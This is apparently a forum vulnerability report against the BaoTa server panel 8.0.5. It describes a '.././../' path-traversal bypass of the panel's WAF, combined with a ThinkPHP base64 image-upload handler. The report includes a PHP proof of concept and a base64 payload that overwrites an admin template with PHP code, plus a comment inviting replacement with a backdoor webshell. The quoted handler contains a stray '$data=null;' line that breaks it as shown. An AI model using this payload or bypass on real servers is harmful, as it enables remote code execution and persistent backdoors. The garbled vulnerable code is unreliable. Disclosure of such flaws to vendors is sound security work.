宝塔安全漏洞提交
为了能快速了解并处理您的问题,请提供以下基础信息:面板、插件版本:8.0.5系统版本:Ubuntu20
问题描述:绕过宝塔限制宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
相关截图(日志、错误):漏洞代码:
/** * Base64 图片上传 */ public function image() { try { $data = $this->_vali(['base64.require' => '图片内容不为空!']);$data=null; if (preg_match('|^data:image/(.*?);base64,|i', $data['base64'])) { [$ext, $img] = explode('|||', preg_replace('|^data:image/(.*?);base64,|i', '$1|||', $data['base64'])); $info = Storage::instance()->set(Storage::name($img, $ext ?: 'png', 'image/'), base64_decode($img)); $this->success('图片上传成功!', ['url' => $info['url']]); } else { $this->error('解析内容失败!'); } } catch (HttpResponseException $exception) { throw $exception; } catch (\Exception $exception) { $this->error($exception->getMessage()); } }代码分析:
上传的文件是base64编码的问题:
不能上传php文件,因为服务器有宝塔waf会被拦截解决思路
使用过Thinkphp的都知道,TP框架的View层是使用html模板引擎实现的。
所以我们可以上传一个html文件,然后在html文件中写入php代码,这样就可以绕过宝塔waf了。
但是上传后的文件名是随机的,我们无法知道上传后的文件名,但是文件后缀是可控的,后缀可以使用目录穿越漏洞,所以我们需要使用目录穿越漏洞来实现解析我们上传的html模板文件
但是宝塔会限制目录穿越,所以我们需要绕过宝塔的限制绕过宝塔限制
宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制将以下代码编码成base64: PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg==
<?php /** * [@456](123) */ #替换成恶意后门代码 phpinfo(); ?>开始上传文件
<?php
//大概逻辑如下
//文件上传地址
$url="http://127.0.0.1/upload/image.html"
//上传的数据,这里的文件后缀进行了目录穿越
$data['base64']="data:image/a/.././.././.././.././../app/admin/view/index/index.html;base64,PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg=="
post($url,$data)
?>上传成功后,访问 http://127.0.0.1/admin/index/index.html 即可看到phpinfo的输出
页:
[1]